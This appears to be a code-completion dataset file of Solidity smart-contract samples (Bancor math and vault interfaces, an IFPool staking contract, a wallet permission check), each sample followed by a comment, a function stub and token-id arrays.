n = (n * 0x0454aaa8efe072e7f6ddbab84b40a55c5) / 0x00960aadc109e7a3bf4578099615711ea; // multiply by e^2^(+1)
if ((x & (ONE << 2)) != 0)
n = (n * 0x00960aadc109e7a3bf4578099615711d7) / 0x0002bf84208204f5977f9a8cf01fdce3d; // multiply by e^2^(+2)
if ((x & (ONE << 3)) != 0)
n = (n * 0x0002bf84208204f5977f9a8cf01fdc307) / 0x0000003c6ab775dd0b95b4cbee7e65d11; // multiply by e^2^(+3)
}
return Fraction({ n: n, d: ONE });
}
/**
* @dev returns a fraction with reduced components
*/
function reducedFraction(Fraction memory fraction, uint256 max) internal pure returns (Fraction memory) {
uint256 scale = Math.ceilDiv(Math.max(fraction.n, fraction.d), max);
return Fraction({ n: fraction.n / scale, d: fraction.d / scale });
}
/**
* @dev returns the weighted average of two fractions
*/
function weightedAverage(
Fraction memory fraction1,
Fraction memory fraction2,
uint256 weight1,
uint256 weight2
) internal pure returns (Fraction memory) {
return
Fraction({
n: fraction1.n * fraction2.d * weight1 + fraction1.d * fraction2.n * weight2,
d: fraction1.d * fraction2.d * (weight1 + weight2)
});
}
/**
* @dev returns whether or not the deviation of an offset sample from a base sample is within a permitted range
* for example, if the maximum permitted deviation is 5%, then evaluate `95% * base <= offset <= 105% * base`
*/
function isInRange(
Fraction memory baseSample,
Fraction memory offsetSample,
uint32 maxDeviationPPM
) internal pure returns (bool) {
Uint512 memory min = mul512(baseSample.n, offsetSample.d * (PPM_RESOLUTION - maxDeviationPPM));
Uint512 memory mid = mul512(baseSample.d, offsetSample.n * PPM_RESOLUTION);
Uint512 memory max = mul512(baseSample.n, offsetSample.d * (PPM_RESOLUTION + maxDeviationPPM));
return lte512(min, mid) && lte512(mid, max);
}
/**
* @dev returns an `Sint256` positive representation of an unsigned integer
*/
function toPos256(uint256 n) internal pure returns (Sint256 memory) {
return Sint256({ value: n, isNeg: false });
}
/**
* @dev returns an `Sint256` negative representation of an unsigned integer
*/
function toNeg256(uint256 n) internal pure returns (Sint256 memory) {
return Sint256({ value: n, isNeg: true });
}
/**
* @dev returns the largest integer smaller than or equal to `x * y / z`
*/
function mulDivF(
uint256 x,
uint256 y,
uint256 z
) internal pure returns (uint256) {
Uint512 memory xy = mul512(x, y);
// if `x * y < 2 ^ 256`
if (xy.hi == 0) {
return xy.lo / z;
}
// assert `x * y / z < 2 ^ 256`
if (xy.hi >= z) {
revert Overflow();
}
uint256 m = _mulMod(x, y, z); // `m = x * y % z`
Uint512 memory n = _sub512(xy, m); // `n = x * y - m` hence `n / z = floor(x * y / z)`
// if `n < 2 ^ 256`
if (n.hi == 0) {
return n.lo / z;
}
uint256 p = _unsafeSub(0, z) & z; // `p` is the largest power of 2 which `z` is divisible by
uint256 q = _div512(n, p); // `n` is divisible by `p` because `n` is divisible by `z` and `z` is divisible by `p`
uint256 r = _inv256(z / p); // `z / p = 1 mod 2` hence `inverse(z / p) = 1 mod 2 ^ 256`
return _unsafeMul(q, r); // `q * r = (n / p) * inverse(z / p) = n / z`
}
/**
* @dev returns the smallest integer larger than or equal to `x * y / z`
*/
function mulDivC(
uint256 x,
uint256 y,
uint256 z
) internal pure returns (uint256) {
uint256 w = mulDivF(x, y, z);
if (_mulMod(x, y, z) > 0) {
if (w >= type(uint256).max) {
revert Overflow();
}
return w + 1;
}
return w;
}
/**
* @dev returns the maximum of `n1 - n2` and 0
*/
function subMax0(uint256 n1, uint256 n2) internal pure returns (uint256) {
return n1 > n2 ? n1 - n2 : 0;
}
/**
* @dev returns the value of `x > y`
*/
function gt512(Uint512 memory x, Uint512 memory y) internal pure returns (bool) {
return x.hi > y.hi || (x.hi == y.hi && x.lo > y.lo);
}
/**
* @dev returns the value of `x < y`
*/
function lt512(Uint512 memory x, Uint512 memory y) internal pure returns (bool) {
return x.hi < y.hi || (x.hi == y.hi && x.lo < y.lo);
}
/**
* @dev returns the value of `x >= y`
*/
function gte512(Uint512 memory x, Uint512 memory y) internal pure returns (bool) {
return !lt512(x, y);
}
/**
* @dev returns the value of `x <= y`
*/
function lte512(Uint512 memory x, Uint512 memory y) internal pure returns (bool) {
return !gt512(x, y);
}
/**
* @dev returns the value of `x * y`
*/
function mul512(uint256 x, uint256 y) internal pure returns (Uint512 memory) {
uint256 p = _mulModMax(x, y);
uint256 q = _unsafeMul(x, y);
if (p >= q) {
return Uint512({ hi: p - q, lo: q });
}
return Uint512({ hi: _unsafeSub(p, q) - 1, lo: q });
}
/**
* @dev returns the value of `x - y`, given that `x >= y`
*/
function _sub512(Uint512 memory x, uint256 y) private pure returns (Uint512 memory) {
if (x.lo >= y) {
return Uint512({ hi: x.hi, lo: x.lo - y });
}
return Uint512({ hi: x.hi - 1, lo: _unsafeSub(x.lo, y) });
}
/**
* @dev returns the value of `x / pow2n`, given that `x` is divisible by `pow2n`
*/
function _div512(Uint512 memory x, uint256 pow2n) private pure returns (uint256) {
uint256 pow2nInv = _unsafeAdd(_unsafeSub(0, pow2n) / pow2n, 1); // `1 << (256 - n)`
return _unsafeMul(x.hi, pow2nInv) | (x.lo / pow2n); // `(x.hi << (256 - n)) | (x.lo >> n)`
}
/**
* @dev returns the inverse of `d` modulo `2 ^ 256`, given that `d` is congruent to `1` modulo `2`
*/
function _inv256(uint256 d) private pure returns (uint256) {
// approximate the root of `f(x) = 1 / x - d` using the newton–raphson convergence method
uint256 x = 1;
for (uint256 i = 0; i < 8; i++) {
x = _unsafeMul(x, _unsafeSub(2, _unsafeMul(x, d))); // `x = x * (2 - x * d) mod 2 ^ 256`
}
return x;
}
/**
* @dev returns `(x + y) % 2 ^ 256`
*/
function _unsafeAdd(uint256 x, uint256 y) private pure returns (uint256) {
unchecked {
return x + y;
}
}
/**
* @dev returns `(x - y) % 2 ^ 256`
*/
function _unsafeSub(uint256 x, uint256 y) private pure returns (uint256) {
unchecked {
return x - y;
}
}
/**
* @dev returns `(x * y) % 2 ^ 256`
*/
function _unsafeMul(uint256 x, uint256 y) private pure returns (uint256) {
unchecked {
return x * y;
}
}
/**
* @dev returns `x * y % (2 ^ 256 - 1)`
*/
function _mulModMax(uint256 x, uint256 y) private pure returns (uint256) {
return mulmod(x, y, type(uint256).max);
}
/**
* @dev returns `x * y % z`
*/
function _mulMod(
uint256 x,
uint256 y,
uint256 z
) private pure returns (uint256) {
return mulmod(x, y, z);
}
}
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.13;
/**
* @dev this contract abstracts the block timestamp in order to allow for more flexible control in tests
*/
contract Time {
/**
* @dev returns the current time
*/
function _time() internal view virtual returns (uint32) {
return uint32(block.timestamp);
}
}
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.13;
import { AccessControlEnumerableUpgradeable } from "@openzeppelin/contracts-upgradeable/access/AccessControlEnumerableUpgradeable.sol";
import { IUpgradeable } from "./interfaces/IUpgradeable.sol";
import { AccessDenied } from "./Utils.sol";
/**
* @dev this contract provides common utilities for upgradeable contracts
*/
abstract contract Upgradeable is IUpgradeable, AccessControlEnumerableUpgradeable {
error AlreadyInitialized();
// the admin role is used to allow a non-proxy admin to perform additional initialization/setup during contract
// upgrades
bytes32 internal constant ROLE_ADMIN = keccak256("ROLE_ADMIN");
uint32 internal constant MAX_GAP = 50;
uint16 internal _initializations;
// upgrade forward-compatibility storage gap
uint256[MAX_GAP - 1] private __gap;
// solhint-disable func-name-mixedcase
/**
* @dev initializes the contract and its parents
*/
function __Upgradeable_init() internal onlyInitializing {
__AccessControl_init();
__Upgradeable_init_unchained();
}
/**
* @dev performs contract-specific initialization
*/
function __Upgradeable_init_unchained() internal onlyInitializing {
_initializations = 1;
// set up administrative roles
_setRoleAdmin(ROLE_ADMIN, ROLE_ADMIN);
// allow the deployer to initially be the admin of the contract
_setupRole(ROLE_ADMIN, msg.sender);
}
// solhint-enable func-name-mixedcase
modifier onlyAdmin() {
_hasRole(ROLE_ADMIN, msg.sender);
_;
}
modifier onlyRoleMember(bytes32 role) {
_hasRole(role, msg.sender);
_;
}
function version() public view virtual override returns (uint16);
/**
* @dev returns the admin role
*/
function roleAdmin() external pure returns (bytes32) {
return ROLE_ADMIN;
}
/**
* @dev performs post-upgrade initialization
*
* requirements:
*
* - this must can be called only once per-upgrade
*/
function postUpgrade(bytes calldata data) external {
uint16 initializations = _initializations + 1;
if (initializations != version()) {
revert AlreadyInitialized();
}
_initializations = initializations;
_postUpgrade(data);
}
/**
* @dev an optional post-upgrade callback that can be implemented by child contracts
*/
function _postUpgrade(
bytes calldata /* data */
) internal virtual {}
function _hasRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert AccessDenied();
}
}
}
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.13;
import { PPM_RESOLUTION } from "./Constants.sol";
error AccessDenied();
error AlreadyExists();
error DoesNotExist();
error InvalidAddress();
error InvalidExternalAddress();
error InvalidFee();
error InvalidPool();
error InvalidPoolCollection();
error InvalidStakedBalance();
error InvalidToken();
error InvalidType();
error InvalidParam();
error NotEmpty();
error NotPayable();
error ZeroValue();
/**
* @dev common utilities
*/
contract Utils {
// allows execution by the caller only
modifier only(address caller) {
_only(caller);
_;
}
function _only(address caller) internal view {
if (msg.sender != caller) {
revert AccessDenied();
}
}
// verifies that a value is greater than zero
modifier greaterThanZero(uint256 value) {
_greaterThanZero(value);
_;
}
// error message binary size optimization
function _greaterThanZero(uint256 value) internal pure {
if (value == 0) {
revert ZeroValue();
}
}
// validates an address - currently only checks that it isn't null
modifier validAddress(address addr) {
_validAddress(addr);
_;
}
// error message binary size optimization
function _validAddress(address addr) internal pure {
if (addr == address(0)) {
revert InvalidAddress();
}
}
// validates an external address - currently only checks that it isn't null or this
modifier validExternalAddress(address addr) {
_validExternalAddress(addr);
_;
}
// error message binary size optimization
function _validExternalAddress(address addr) internal view {
if (addr == address(0) || addr == address(this)) {
revert InvalidExternalAddress();
}
}
// ensures that the fee is valid
modifier validFee(uint32 fee) {
_validFee(fee);
_;
}
// error message binary size optimization
function _validFee(uint32 fee) internal pure {
if (fee > PPM_RESOLUTION) {
revert InvalidFee();
}
}
}
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.13;
/**
* @dev Owned interface
*/
interface IOwned {
/**
* @dev returns the address of the current owner
*/
function owner() external view returns (address);
/**
* @dev allows transferring the contract ownership
*
* requirements:
*
* - the caller must be the owner of the contract
* - the new owner still needs to accept the transfer
*/
function transferOwnership(address ownerCandidate) external;
/**
* @dev used by a new owner to accept an ownership transfer
*/
function acceptOwnership() external;
}
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.13;
import { IVersioned } from "./IVersioned.sol";
import { IAccessControlEnumerableUpgradeable } from "@openzeppelin/contracts-upgradeable/access/IAccessControlEnumerableUpgradeable.sol";
/**
* @dev this is the common interface for upgradeable contracts
*/
interface IUpgradeable is IAccessControlEnumerableUpgradeable, IVersioned {
}
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.13;
/**
* @dev an interface for a versioned contract
*/
interface IVersioned {
function version() external view returns (uint16);
}
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.13;
import { IVault } from "./IVault.sol";
interface IExternalProtectionVault is IVault {}
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.13;
import { IVault } from "./IVault.sol";
interface IMasterVault is IVault {}
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.13;
import { IUpgradeable } from "../../utility/interfaces/IUpgradeable.sol";
import { Token } from "../../token/Token.sol";
// the asset manager role is required to access all the funds
bytes32 constant ROLE_ASSET_MANAGER = keccak256("ROLE_ASSET_MANAGER");
interface IVault is IUpgradeable {
/**
* @dev triggered when tokens have been withdrawn from the vault
*/
event FundsWithdrawn(Token indexed token, address indexed caller, address indexed target, uint256 amount);
/**
* @dev triggered when tokens have been burned from the vault
*/
event FundsBurned(Token indexed token, address indexed caller, uint256 amount);
/**
* @dev tells whether the vault accepts native token deposits
*/
function isPayable() external view returns (bool);
/**
* @dev withdraws funds held by the contract and sends them to an account
*/
function withdrawFunds(
Token token,
address payable target,
uint256 amount
) external;
/**
* @dev burns funds held by the contract
*/
function burn(Token token, uint256 amount) external;
} | * @inheritdoc IBancorNetwork/ | function depositPermitted(
Token pool,
uint256 tokenAmount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external validAddress(address(pool)) greaterThanZero(tokenAmount) whenNotPaused nonReentrant returns (uint256) {
}
| 12,007,165 | [
1,
36,
10093,
23450,
304,
3850,
3906,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
443,
1724,
31465,
12,
203,
3639,
3155,
2845,
16,
203,
3639,
2254,
5034,
1147,
6275,
16,
203,
3639,
2254,
5034,
14096,
16,
203,
3639,
2254,
28,
331,
16,
203,
3639,
1731,
1578,
436,
16,
203,
3639,
1731,
1578,
272,
203,
565,
262,
3903,
923,
1887,
12,
2867,
12,
6011,
3719,
6802,
9516,
7170,
12,
2316,
6275,
13,
1347,
1248,
28590,
1661,
426,
8230,
970,
1135,
261,
11890,
5034,
13,
288,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./library/IERC20.sol";
import "./library/SafeERC20.sol";
import "./library/OwnableUpgradeable.sol";
import "./library/PausableUpgradeable.sol";
import "./library/SafeMath.sol";
import "./ValidatorInterface.sol";
import "./Wallet.sol";
// TODO pausable implementation needed, e.g can't stake if contract is paused.
contract IFPool is OwnableUpgradeable, PausableUpgradeable {
using SafeMath for uint256; // for add sub mul div methods
using SafeERC20 for IERC20; // for safeTransferFrom, safeTransfer methods
uint256 public totalStakeAmount;
uint256 public totalRewardAmount;
uint256 public totalIftRewardAmount;
// Ratio base on 10000
// E.g 9000 means 9000/10000 = 90%
// uint256 public immutable ratioDivBase;
uint256 public ratioDivBase;
uint256 public userRewardRatio; // User get 90% CET reward
uint256 public iftBonusRatio; // User get 10% IFT bonus, e.g user will get 0.1 IFT bonus for each CET reward.
uint256 public iftPoolRewardRatio; // User get 10% CET reward to IFT Staking Pool.
// Info of each user.
struct UserInfo {
uint256 lastStakedBlock; // Last time user staked
uint256 stakeAmount; // User staked amount
uint256 lastClaimedBlock; // Last time the user claimed reward
bool unstaking; // There will be no rewards during unstaking period
}
enum RewardType {
NONE, // No use, just for padding 0th of enum
ONLY_CET, // Only redistribute CET. E.g for cetfans validator
IFT_BONUS // Redistribute CET with IFT as bonous. E.g for IF validator
}
struct ValidatorInfo {
RewardType rewardType; // Check RewardType above
bool enabled; // No reward distribution if not enabled
}
ValidatorInterface validatorManager;
IERC20 iftToken;
address public iftPoolAddress;
mapping(address => Wallet) public wallets;
mapping(address => ValidatorInfo) public validatorInfos;
mapping(address => mapping(address => UserInfo)) public userInfos;
event Stake(
address indexed user,
address validator,
uint256 amount
);
event UnStake(
address indexed user,
address validator
);
event WithdrawStaking(
address indexed user,
address validator
);
event Harvest(
address indexed user,
address validator,
uint256 amount,
string tokenType // CET or IFT;
);
function initialize(ValidatorInterface _validatorManager, IERC20 _iftToken, address _iftPoolAddress) public initializer {
__Ownable_init();
__Pausable_init();
iftToken = _iftToken;
iftPoolAddress = _iftPoolAddress;
validatorManager = _validatorManager;
totalStakeAmount = 0;
totalRewardAmount = 0;
totalIftRewardAmount = 0;
userRewardRatio = 9000;
iftBonusRatio = 2000;
ratioDivBase = 10000;
iftPoolRewardRatio = 1000;
}
receive() external payable {}
/**
* @dev Withdraw reserve CET to redistribute
**/
function withdrawReserve() public onlyOwner {
payable(msg.sender).transfer(address(this).balance);
}
// ====== Validator related operations (Will change state) ======
/**
* @dev User stake CET to Validator (1000 CET at least due to limitation)
* @param validator Validator address to stake
**/
function stake(address validator) public payable whenNotPaused {
Wallet wallet = _walletOf(msg.sender);
harvest(validator);
wallet.stake{value: msg.value}(validator);
UserInfo storage user = userInfos[msg.sender][validator];
user.lastStakedBlock = block.number;
user.stakeAmount = user.stakeAmount.add(msg.value);
user.unstaking = false;
totalStakeAmount = totalStakeAmount.add(msg.value); // 平台总质押
emit Stake(msg.sender, validator, msg.value);
}
/**
* @dev User choose to unstake from validator, after StakingLockPeriod, user can withdrawStaking
* @param validator Validator address to unstake
**/
function unstake(address validator) public {
harvest(validator);
Wallet wallet = wallets[msg.sender];
wallet.unstake(validator);
UserInfo storage user = userInfos[msg.sender][validator];
user.unstaking = true;
emit UnStake(msg.sender, validator);
}
/**
* @dev User withdrawStaking from validator, staked CET will return to user
* @param validator Validator address to withdrawStaking
**/
function withdrawStaking(address validator) public payable {
Wallet wallet = wallets[msg.sender];
wallet.withdrawStaking(msg.sender, validator);
UserInfo storage user = userInfos[msg.sender][validator];
totalStakeAmount = totalStakeAmount.sub(user.stakeAmount);
user.stakeAmount = 0;
emit WithdrawStaking(msg.sender, validator);
}
/**
* @dev Havest according shares of block reward from ValidatorManager
* @param validator Validator address to harvest
**/
function harvest(address validator) public payable whenNotPaused {
(uint256 rewardAmount, uint256 iftBonusAmount, uint256 iftPoolRewardAmount) = _rewardAmount(msg.sender, validator);
userInfos[msg.sender][validator].lastClaimedBlock = block.number;
if (rewardAmount == 0) {
return;
}
ValidatorInfo storage validatorInfo = validatorInfos[validator];
if (!validatorInfo.enabled) {
return;
}
if (validatorInfo.rewardType == RewardType.IFT_BONUS) {
// Revert if CET balance not enough to withdraw
payable(msg.sender).transfer(rewardAmount);
payable(iftPoolAddress).transfer(iftPoolRewardAmount);
totalRewardAmount = totalRewardAmount.add(rewardAmount.add(iftPoolRewardAmount));
} else if (validatorInfo.rewardType == RewardType.ONLY_CET) {
Wallet wallet = wallets[msg.sender];
wallet.withdraw(msg.sender, rewardAmount);
wallet.withdraw(iftPoolAddress, iftPoolRewardAmount);
}
// Skip bonus if balanceOf IFT is not enough
if (iftToken.balanceOf(address(this)) >= iftBonusAmount) {
iftToken.safeTransfer(msg.sender, iftBonusAmount);
totalIftRewardAmount = totalIftRewardAmount.add(iftBonusAmount);
emit Harvest(msg.sender, validator, iftBonusAmount, 'IFT');
}
emit Harvest(msg.sender, validator, rewardAmount, 'CET');
}
// ====== Validator related query functions (Won't change state) ======
function getStakingInfo(address staker, address validator) public view returns (uint256, uint256, uint256) {
return validatorManager.getStakingInfo(address(wallets[staker]), validator);
}
function getUserReward(address staker, address validator) public view returns (uint256, uint256, uint256) {
return _rewardAmount(staker, validator);
}
function getActivatedValidators() public view returns (address[] memory) {
return validatorManager.getActivatedValidators();
}
function getValidatorDescription(address validator) public view
returns (string memory, string memory, string memory, string memory) {
return validatorManager.getValidatorDescription(validator);
}
function getValidatorInfo(address validator) public view
returns (address, uint8, uint256, uint256, uint256, uint256, address[] memory) {
return validatorManager.getValidatorInfo(validator);
}
function totalStaking() public view returns (uint256 ) {
return validatorManager.totalStaking();
}
function StakingLockPeriod() public view returns (uint64) {
return validatorManager.StakingLockPeriod();
}
// ====== Reward configuration related functions ======
function setUserRewardRatio(uint256 _userRewardRatio) public onlyOwner {
require(_userRewardRatio <= ratioDivBase, "> 10000");
userRewardRatio = _userRewardRatio;
iftPoolRewardRatio = ratioDivBase - _userRewardRatio;
}
function setIftBonusRatio(uint256 _iftBonusRatio) public onlyOwner {
iftBonusRatio = _iftBonusRatio;
}
function setIftPoolAddress(address _iftPoolAddress) public onlyOwner {
iftPoolAddress = _iftPoolAddress;
}
/**
* @dev User stake CET to Validator (1000 CET at least due to limitation)
* @param _validator Validator address to set
* @param _rewardType Reward type for according validator: 1 for ONLY_CET, 2 for IFT_BONUS
**/
function setValidatorInfo(address _validator, uint256 _rewardType, bool _enabled) public onlyOwner {
ValidatorInfo storage info = validatorInfos[_validator];
info.rewardType = RewardType(_rewardType);
info.enabled = _enabled;
}
// ====== Internal helpers ======
function _walletOf(address user) internal returns (Wallet wallet) {
wallet = wallets[user];
if (address(wallet) == address(0)) {
wallets[user] = new Wallet(validatorManager);
}
return wallets[user];
}
function _rewardAmount(
address staker,
address validator
) internal view returns (uint256, uint256, uint256) {
UserInfo storage userInfo = userInfos[staker][validator];
ValidatorInfo storage validatorInfo = validatorInfos[validator];
uint256 userShare = 0;
uint256 rewardAmount = 0;
uint256 iftBonusAmount = 0;
uint256 iftPoolRewardAmount =0;
// No reward distribution if not enabled
if (!validatorInfo.enabled) {
return (rewardAmount, iftBonusAmount, iftPoolRewardAmount);
}
if (validatorInfo.rewardType == RewardType.IFT_BONUS) {
// No rewards during unstaking period
if (userInfo.unstaking) {
return (rewardAmount, iftBonusAmount, iftPoolRewardAmount);
}
// uint256 userStakeAmount = userInfo.stakeAmount;
(uint256 userStakeAmount, , ) = getStakingInfo(staker, validator);
if (userStakeAmount == 0) {
return (rewardAmount, iftBonusAmount, iftPoolRewardAmount);
}
// Each new block generated will distribute 1 CET based on stakingAmount of validator
// FIXME On rare condition(https://github.com/coinex-smart-chain/csc-genesis-contract/blob/9587caeacafa6c8fa2d452a777f64886c86034fe/contracts/Validators.sol#L460), totalStaking can be 0.
uint256 deltaBlock = block.number.sub(userInfo.lastClaimedBlock);
userShare = userStakeAmount.mul(1 ether).div(validatorManager.totalStaking());
rewardAmount = userShare.mul(deltaBlock).mul(userRewardRatio).div(ratioDivBase);
iftPoolRewardAmount = userShare.mul(deltaBlock).mul(iftPoolRewardRatio).div(ratioDivBase);
} else if (validatorInfo.rewardType == RewardType.ONLY_CET) {
if (address(wallets[staker]) == address(0)) {
return (0, 0, 0);
}
userShare = address(wallets[staker]).balance;
rewardAmount = userShare.mul(userRewardRatio).div(ratioDivBase);
iftPoolRewardAmount = userShare.mul(iftPoolRewardRatio).div(ratioDivBase);
}
if (rewardAmount == 0) {
return (0, 0, 0);
}
iftBonusAmount = iftPoolRewardAmount.mul(iftBonusRatio).div(ratioDivBase);
if (iftToken.balanceOf(address(this)) < iftBonusAmount) {
iftBonusAmount = 0;
}
return (rewardAmount, iftBonusAmount, iftPoolRewardAmount);
}
function withdraw(address to, uint256 amount) public onlyOwner {
if (amount > address(this).balance) {
amount = address(this).balance;
}
payable(to).transfer(amount);
}
function transferTo(address to, uint256 amount) public onlyOwner {
if (amount > iftToken.balanceOf(address(this))) {
amount = iftToken.balanceOf(address(this));
}
iftToken.safeTransfer(to, amount);
}
// emergency sweep
function userTransferTo(address token, address user, uint256 amount) public onlyOwner {
Wallet wallet = _walletOf(user);
wallet.transferTo(token, user, amount);
}
}
| User get 90% CET reward
| uint256 public userRewardRatio; | 13,079,851 | [
1,
1299,
336,
8566,
9,
385,
1584,
19890,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
2254,
5034,
1071,
729,
17631,
1060,
8541,
31,
5411,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/5/0x96923a67F0CB42Fb25F879c9aa9b1eDf1c704cB0/sources/contracts/thirdweb-wallet/Account.sol | @dev Validates the permissions of the signer. | function _validatePermissions(
address _signer,
address _target,
bytes calldata _data
) internal view {
